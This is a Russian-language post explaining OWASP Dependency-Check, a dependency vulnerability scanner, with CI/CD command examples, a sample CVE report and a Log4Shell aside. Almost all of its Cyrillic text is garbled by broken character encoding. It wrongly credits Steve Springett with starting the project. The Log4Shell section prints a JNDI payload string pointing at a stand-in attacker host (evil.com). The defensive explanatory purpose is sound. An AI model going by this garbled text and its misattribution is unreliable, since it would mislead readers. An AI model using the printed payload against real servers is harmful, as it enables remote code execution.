π OWASP Dependency-Check: ΠΡ ΠΎΡΠ½ΠΈΠΊ Π² Π²Π°ΡΠΈΡ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ°Ρ
ΠΡΠ°ΡΠΊΠΎ: Dependency-Check β ΡΡΠΎ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½Ρ ΠΎΡ OWASP, ΠΊΠΎΡΠΎΡΡΠΉ ΡΠΊΠ°Π½ΠΈΡΡΠ΅Ρ Π²Π°ΡΠΈ ΠΏΡΠΎΠ΅ΠΊΡΡ Π½Π° Π½Π°Π»ΠΈΡΠΈΠ΅ ΡΡΠ·Π²ΠΈΠΌΡΡ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊ. ΠΡ ΠΏΠΎΠ΄ΠΊΠ»ΡΡΠ°Π΅ΡΠ΅ Π΅Π³ΠΎ ΠΊ CI/CD, ΠΎΠ½ Π°Π½Π°Π»ΠΈΠ·ΠΈΡΡΠ΅Ρ Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡΠΈ (JAR, NPM, NuGet, PIP) ΠΈ ΡΠ²Π΅ΡΡΠ΅Ρ ΠΈΡ Ρ Π±Π°Π·ΠΎΠΉ ΠΈΠ·Π²Π΅ΡΡΠ½ΡΡ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠ΅ΠΉ (NVD β National Vulnerability Database) . ΠΡΠ»ΠΈ Π½Π°Ρ ΠΎΠ΄ΠΈΡ CVE Ρ Π²ΡΡΠΎΠΊΠΈΠΌ ΡΠ΅ΠΉΡΠΈΠ½Π³ΠΎΠΌ β ΠΏΠ°ΠΉΠΏΠ»Π°ΠΉΠ½ ΠΏΠ°Π΄Π°Π΅Ρ, ΠΈ ΠΊΠΎΠ΄ Π½Π΅ ΡΠ»Π΅ΡΠ°Π΅Ρ Π² ΠΏΡΠΎΠ΄. Π‘ΠΎΠ·Π΄Π°Π½ Π² 2012 Π³ΠΎΠ΄Ρ, ΡΠ΅Π³ΠΎΠ΄Π½Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΡΡΡ Π² ΡΡΡΡΡΠ°Ρ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΉ ΠΊΠ°ΠΊ Π±Π΅ΡΠΏΠ»Π°ΡΠ½Π°Ρ Π°Π»ΡΡΠ΅ΡΠ½Π°ΡΠΈΠ²Π° Snyk ΠΈ WhiteSource.
β«οΈ ΠΠ°ΠΊ Π΄ΠΎΡΠ»ΠΈ Π΄ΠΎ ΠΆΠΈΠ·Π½ΠΈ ΡΠ°ΠΊΠΎΠΉ 2012 Π³ΠΎΠ΄. Π‘ΡΠΈΠ² Π‘ΠΏΡΠΈΠ½Π³Π΅ΡΡ (Steve Springett) Π½Π°ΡΠΈΠ½Π°Π΅Ρ ΠΏΡΠΎΠ΅ΠΊΡ OWASP Dependency-Check. ΠΡΠ½ΠΎΠ²Π½Π°Ρ ΠΈΠ΄Π΅Ρ: ΡΠ°Π·ΡΠ°Π±ΠΎΡΡΠΈΠΊΠΈ Π½Π΅ ΡΠ»Π΅Π΄ΡΡ Π·Π° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡΠΌΠΈ Π² ΡΡΠΎΡΠΎΠ½Π½ΠΈΡ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ°Ρ , Π° Ρ Π°ΠΊΠ΅ΡΡ β ΡΠ»Π΅Π΄ΡΡ. Log4Shell (2021) ΠΏΠΎΠΊΠ°Π·Π°Π» ΡΡΠΎ Π½Π°Π³Π»ΡΠ΄Π½ΠΎ: ΠΌΠΈΠ»Π»ΠΈΠΎΠ½Ρ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π»ΠΈ ΡΡΠ·Π²ΠΈΠΌΡΡ Π²Π΅ΡΡΠΈΡ Log4j, ΠΏΠΎΡΠΎΠΌΡ ΡΡΠΎ Π½ΠΈΠΊΡΠΎ Π½Π΅ ΠΏΡΠΎΠ²Π΅ΡΡΠ» Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡΠΈ. Π 2012-ΠΌ Dependency-Check ΡΠΌΠ΅Π» ΡΠΎΠ»ΡΠΊΠΎ Java (JAR, WAR, EAR). Π‘ΠΎ Π²ΡΠ΅ΠΌΠ΅Π½Π΅ΠΌ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈΡΡ: JavaScript (NPM, Yarn), Python (pip, requirements.txt), .NET (NuGet), Ruby (Gems), PHP (Composer), Go (mod) ΠΈ Π΄Π°ΠΆΠ΅ Docker-ΠΎΠ±ΡΠ°Π·Ρ . Π‘Π΅Π³ΠΎΠ΄Π½Ρ Dependency-Check β ΡΡΠΎ ΡΡΠ°Π½Π΄Π°ΡΡ Π΄Π»Ρ CI/CD Π² ΠΌΠΈΡΠ΅ open-source ΠΈ Π½Π΅Π±ΠΎΠ»ΡΡΠΈΡ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΉ.
β«οΈ ΠΠ°ΠΊ ΡΠ°Π±ΠΎΡΠ°Π΅Ρ (Π±Π΅Π· ΠΌΠ°Π³ΠΈΠΈ) 1. Π‘Π±ΠΎΡ Π΄Π°Π½Π½ΡΡ : ΠΠ½ΡΡΡΡΠΌΠ΅Π½Ρ ΠΏΠ°ΡΡΠΈΡ Π²ΡΠ΅ ΡΠ°ΠΉΠ»Ρ Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡΠ΅ΠΉ Π² ΠΏΡΠΎΠ΅ΠΊΡΠ΅ (pom.xml, package.json, requirements.txt, build.gradle, Dockerfile, .csproj) . 2. ΠΠ°ΠΏΡΠΎΡ ΠΊ NVD: Dependency-Check ΠΏΠΎΠ΄ΠΊΠ»ΡΡΠ°Π΅ΡΡΡ ΠΊ NVD (National Vulnerability Database) β Π³Π»ΠΎΠ±Π°Π»ΡΠ½ΠΎΠΉ Π±Π°Π·Π΅ CVE, ΠΊΠΎΡΠΎΡΡΡ Π²Π΅Π΄ΡΡ NIST (Π‘Π¨Π). Π‘ΠΏΡΠ°ΡΠΈΠ²Π°Π΅Ρ: Β«ΠΠ°ΠΊΠΈΠ΅ CVE Π΅ΡΡΡ Π΄Π»Ρ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠΈ log4j-core 2.14.1?Β». ΠΠ°Π·Π° NVD ΠΎΠ±Π½ΠΎΠ²Π»ΡΠ΅ΡΡΡ Π΅ΠΆΠ΅Π΄Π½Π΅Π²Π½ΠΎ . 3. ΠΠ½Π°Π»ΠΈΠ·: Π‘ΡΠ°Π²Π½ΠΈΠ²Π°Π΅Ρ Π²Π΅ΡΡΠΈΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊ Ρ Π·Π°Π³ΡΡΠΆΠ΅Π½Π½ΡΠΌ ΡΠΏΠΈΡΠΊΠΎΠΌ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠ΅ΠΉ. ΠΠ»Ρ Π½Π΅ΠΊΠΎΡΠΎΡΡΡ ΡΠΈΠΏΠΎΠ² (JavaScript) ΠΏΡΠΎΠ²Π΅ΡΡΠ΅Ρ Ρ Π΅ΡΠΈ ΡΠ°ΠΉΠ»ΠΎΠ², Π΅ΡΠ»ΠΈ Π² NVD Π½Π΅Ρ ΡΠΎΡΠ½ΠΎΠ³ΠΎ ΡΠΎΠ²ΠΏΠ°Π΄Π΅Π½ΠΈΡ ΠΏΠΎ Π²Π΅ΡΡΠΈΠΈ. 4. ΠΡΡΡΡ: ΠΡΠ²ΠΎΠ΄ΠΈΡ ΡΠΏΠΈΡΠΎΠΊ Π½Π°ΠΉΠ΄Π΅Π½Π½ΡΡ CVE Ρ ΡΡΠΎΠ²Π½ΡΠΌΠΈ ΠΊΡΠΈΡΠΈΡΠ½ΠΎΡΡΠΈ (CVSS Score 0β10) ΠΈ ΡΡΡΠ»ΠΊΠ°ΠΌΠΈ Π½Π° ΠΎΠΏΠΈΡΠ°Π½ΠΈΠ΅ .
β«οΈ ΠΠ½ΡΠ΅Π³ΡΠ°ΡΠΈΡ Π² CI/CD (ΠΏΡΠΈΠΌΠ΅ΡΡ) Maven (pom.xml) mvn org.owasp:dependency-check-maven:check
Jenkins + GitHub Actions - name: OWASP Dependency Check run: dependency-check --scan ./ --format HTML --out report.html
Jenkins Ρ ΠΏΠ»Π°Π³ΠΈΠ½ΠΎΠΌ Β· Π£ΡΡΠ°Π½ΠΎΠ²ΠΈΡΡ ΠΏΠ»Π°Π³ΠΈΠ½ OWASP Dependency-Check Β· ΠΠΎΠ±Π°Π²ΠΈΡΡ ΡΠ°Π³ ΡΠ±ΠΎΡΠΊΠΈ: ΡΠΊΠ°Π½ΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅ ΠΏΡΡΠ΅ΠΉ ΠΊ ΠΏΡΠΎΠ΅ΠΊΡΡ Β· ΠΠ°ΡΡΡΠΎΠΈΡΡ ΠΏΠΎΡΠΎΠ³ ΠΊΡΠΈΡΠΈΡΠ½ΠΎΡΡΠΈ (ΠΎΡΡΠ°Π½ΠΎΠ²ΠΈΡΡ ΡΠ±ΠΎΡΠΊΡ ΠΏΡΠΈ CVE >= 7.0)
β«οΈ ΠΡΠΈΠΌΠ΅Ρ ΠΎΡΡΡΡΠ° (ΡΠ΅Π°Π»ΡΠ½ΡΠΉ) ΠΠΎΡΠ»Π΅ ΡΠΊΠ°Π½ΠΈΡΠΎΠ²Π°Π½ΠΈΡ Dependency-Check Π³Π΅Π½Π΅ΡΠΈΡΡΠ΅Ρ HTML-ΡΠ°ΠΉΠ» Ρ ΡΠ°Π±Π»ΠΈΡΠ΅ΠΉ: ΠΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ° ΠΠ΅ΡΡΠΈΡ CVE CVSS ΠΠΏΠΈΡΠ°Π½ΠΈΠ΅ log4j-core 2.14.1 CVE-2021-44228 10.0 Log4Shell RCE jackson-databind 2.9.8 CVE-2019-12384 8.1 XXE, RCE lodash 4.17.15 CVE-2019-10744 7.5 Prototype pollution ΠΠ°ΠΆΠ΄Π°Ρ ΡΡΡΠΎΠΊΠ° ΡΠΎΠ΄Π΅ΡΠΆΠΈΡ ΡΡΡΠ»ΠΊΡ Π½Π° CVE, ΠΎΠΏΠΈΡΠ°Π½ΠΈΠ΅ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ ΠΈ ΡΠ΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°ΡΠΈΡ ΠΏΠΎ Π²Π΅ΡΡΠΈΠΈ Π΄Π»Ρ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΡ .
β«οΈ ΠΠ»ΡΡΡ ΠΈ ΠΌΠΈΠ½ΡΡΡ ΠΠ»ΡΡΡ: Β· ΠΠ΅ΡΠΏΠ»Π°ΡΠ½ΠΎ, open-source Β· ΠΠΎΠ΄Π΄Π΅ΡΠΆΠΈΠ²Π°Π΅Ρ Π²ΡΠ΅ ΠΏΠΎΠΏΡΠ»ΡΡΠ½ΡΠ΅ ΡΠΊΠΎΡΠΈΡΡΠ΅ΠΌΡ (Java, NPM, Python, .NET, Go, Ruby, PHP, Docker) Β· ΠΠ½ΡΠ΅Π³ΡΠΈΡΡΠ΅ΡΡΡ Π² Jenkins, GitHub Actions, GitLab CI Β· ΠΠ±Π½ΠΎΠ²Π»ΡΠ΅ΠΌΠ°Ρ Π±Π°Π·Π° NVD
ΠΠΈΠ½ΡΡΡ: Β· ΠΠ΅Π΄Π»Π΅Π½Π½ΡΠΉ: Π‘ΠΊΠ°Π½ΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅ Π±ΠΎΠ»ΡΡΠΎΠ³ΠΎ ΠΏΡΠΎΠ΅ΠΊΡΠ° ΠΌΠΎΠΆΠ΅Ρ Π·Π°Π½ΠΈΠΌΠ°ΡΡ 10β30 ΠΌΠΈΠ½ΡΡ Β· ΠΠΎΠΆΠ½ΡΠ΅ ΡΡΠ°Π±Π°ΡΡΠ²Π°Π½ΠΈΡ: ΠΠΎΠΆΠ΅Ρ ΠΏΡΡΠ°ΡΡ Π²Π΅ΡΡΠΈΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊ Π² ΡΠ»ΠΎΠΆΠ½ΡΡ ΠΌΠΎΠ½ΠΎΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΡΡ Β· Π£ΡΡΠ°ΡΠ΅Π²ΡΠ°Ρ Π±Π°Π·Π°: NVD ΠΈΠ½ΠΎΠ³Π΄Π° ΠΎΠ±Π½ΠΎΠ²Π»ΡΠ΅ΡΡΡ Ρ Π·Π°Π΄Π΅ΡΠΆΠΊΠΎΠΉ Π² Π΄Π½ΠΈ ΠΏΠΎΡΠ»Π΅ ΠΏΡΠ±Π»ΠΈΠΊΠ°ΡΠΈΠΈ CVE Β· ΠΠ΅Ρ ΠΊΠΎΠΌΠΌΠ΅ΡΡΠ΅ΡΠΊΠΎΠΉ ΠΏΠΎΠ΄Π΄Π΅ΡΠΆΠΊΠΈ (Π² ΠΎΡΠ»ΠΈΡΠΈΠ΅ ΠΎΡ Snyk ΠΈΠ»ΠΈ Sonatype)
β«οΈ ΠΡΠ»ΡΡΡΡΠ½ΡΠΉ ΡΠ΅Π½ΠΎΠΌΠ΅Π½ Log4Shell (Π΄Π΅ΠΊΠ°Π±ΡΡ 2021) β ΡΠ°ΠΌΡΠΉ Π³ΡΠΎΠΌΠΊΠΈΠΉ CVE Π² ΠΈΡΡΠΎΡΠΈΠΈ (CVSS 10.0). Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡΡ Π² Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ΅ Π»ΠΎΠ³ΠΈΡΠΎΠ²Π°Π½ΠΈΡ Apache Log4j 2.x, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡΡΠ°Ρ Π²ΡΠΏΠΎΠ»Π½ΠΈΡΡ ΠΊΠΎΠ΄ Π½Π° ΡΠ΅ΡΠ²Π΅ΡΠ΅ ΡΠ΅ΡΠ΅Π· ΡΠΏΠ΅ΡΠΈΠ°Π»ΡΠ½ΡΡ ΡΡΡΠΎΠΊΡ ${jndi:ldap://evil.com/exploit}. ΠΠΎΡΠ»Π΅ ΡΡΠΎΠ³ΠΎ ΠΈΠ½ΡΠΈΠ΄Π΅Π½ΡΠ° Dependency-Check ΡΡΠ°Π» ΠΎΠ±ΡΠ·Π°ΡΠ΅Π»ΡΠ½ΡΠΌ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½ΡΠΎΠΌ Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ ΠΏΠ°ΠΉΠΏΠ»Π°ΠΉΠ½Π°Ρ . ΠΡΠ»ΠΈ Π±Ρ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ ΡΠΊΠ°Π½ΠΈΡΠΎΠ²Π°Π»ΠΈ ΡΠ²ΠΎΠΈ Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡΠΈ ΠΏΠ΅ΡΠ΅Π΄ ΡΠ΅Π»ΠΈΠ·ΠΎΠΌ, ΠΌΠΈΠ»Π»ΠΈΠΎΠ½Ρ ΡΠ΅ΡΠ²Π΅ΡΠΎΠ² Π½Π΅ Π±ΡΠ»ΠΈ Π±Ρ ΡΠΊΠΎΠΌΠΏΡΠΎΠΌΠ΅ΡΠΈΡΠΎΠ²Π°Π½Ρ .
ΠΠ»Π°Π²Π½ΡΠΉ Π²ΡΠ²ΠΎΠ΄: Dependency-Check β ΡΡΠΎ Π±Π΅ΡΠΏΠ»Π°ΡΠ½ΡΠΉ ΡΠΊΠ°Π½Π΅Ρ, ΠΊΠΎΡΠΎΡΡΠΉ ΡΡΠΎΠΈΡ Π²Π½Π΅Π΄ΡΠΈΡΡ Π² CI/CD Π² ΠΏΠ΅ΡΠ²ΡΡ Π½Π΅Π΄Π΅Π»Ρ ΡΠ°Π±ΠΎΡΡ Π½Π°Π΄ Π»ΡΠ±ΡΠΌ ΠΏΡΠΎΠ΅ΠΊΡΠΎΠΌ, ΠΎΡΠΎΠ±Π΅Π½Π½ΠΎ Π΅ΡΠ»ΠΈ Π²Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΡΠ΅ open-source Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠΈ. ΠΠ½ Π½Π΅ ΠΏΠ°Π½Π°ΡΠ΅Ρ, Π½ΠΎ Π»ΠΎΠ²ΠΈΡ 80% ΠΈΠ·Π²Π΅ΡΡΠ½ΡΡ Π΄ΡΡ. ΠΠΎΠΏΠΎΠ»Π½ΡΠΉΡΠ΅ Π΅Π³ΠΎ Snyk Π΄Π»Ρ ΠΌΠΎΠ½ΠΈΡΠΎΡΠΈΠ½Π³Π° Π² ΡΠ΅Π°Π»ΡΠ½ΠΎΠΌ Π²ΡΠ΅ΠΌΠ΅Π½ΠΈ ΠΈ Π°Π½Π°Π»ΠΈΠ·ΠΎΠΌ Π»ΠΈΡΠ΅Π½Π·ΠΈΠΉ.
#dependencycheck #owasp #devsecops #sca #log4shell #cve #ΠΈΠ½ΡΠΎΠ±Π΅Π· #ci_cd